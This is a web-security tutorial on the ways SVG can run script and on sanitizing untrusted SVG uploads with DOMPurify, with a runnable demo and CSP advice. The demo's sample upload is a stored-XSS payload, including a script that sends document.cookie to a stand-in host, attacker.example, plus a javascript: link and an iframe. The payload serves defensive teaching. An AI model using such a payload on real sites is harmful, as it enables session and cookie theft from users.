Scripts and DOMPurify

Scripts in SVG and Sanitizing with DOMPurify

SVG can run code: a <script>, an onload attribute, a javascript: link, HTML in <foreignObject>. Opened directly, embedded with <object> or <iframe>, or inlined into a page, it runs with your origin's cookies, so a user-uploaded "avatar" is a classic stored XSS. Loaded through <img> or CSS, SVG runs no scripts. Before inlining untrusted SVG, sanitize it with DOMPurify 17,413 (github.com/cure53/DOMPurify (https://github.com/cure53/DOMPurify 17,413 ), npm 2,036 install dompurify, MPL-2.0 or Apache-2.0), which parses the markup into an inert tree and keeps only allow-listed elements and attributes.

Sanitizing a hostile SVG upload with DOMPurify's SVG profileHTMLLive
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.4.16/dist/purify.min.js"></script>
<script>
  const upload = `<svg onload="steal()">
    <script>fetch('https://attacker.example/?c=' + document.cookie)<\/script>
    <a href="javascript:steal()"><circle cx="12" cy="12" r="10"/></a>
    <foreignObject width="24" height="24"><iframe src="https://attacker.example"></iframe>
    </foreignObject><use href="#i-star"/><animate attributeName="fill" to="red"/></svg>`;
  const clean = DOMPurify.sanitize(upload, { USE_PROFILES: { svg: true, svgFilters: true } });
  console.log(`DOMPurify ${DOMPurify.version} removed ${DOMPurify.removed.length} items:`);
  console.log(clean.replace(/>\s+</g, '><'));
  const kept = DOMPurify.sanitize(upload, { USE_PROFILES: { svg: true }, ADD_TAGS: ['use'] });
  console.log(kept.replace(/>\s+</g, '><'));
</script>

The handler, script, javascript: URL and <foreignObject> are gone, and so are <use> and <animate>: the SVG profile forbids both, since references and SMIL can smuggle URLs. ADD_TAGS: ['use'] restores <use>, but then an external href="https://..." survives too, so admit only # fragments in an uponSanitizeAttribute hook. Serve raw uploads from a separate domain with the header Content-Security-Policy: script-src 'none'.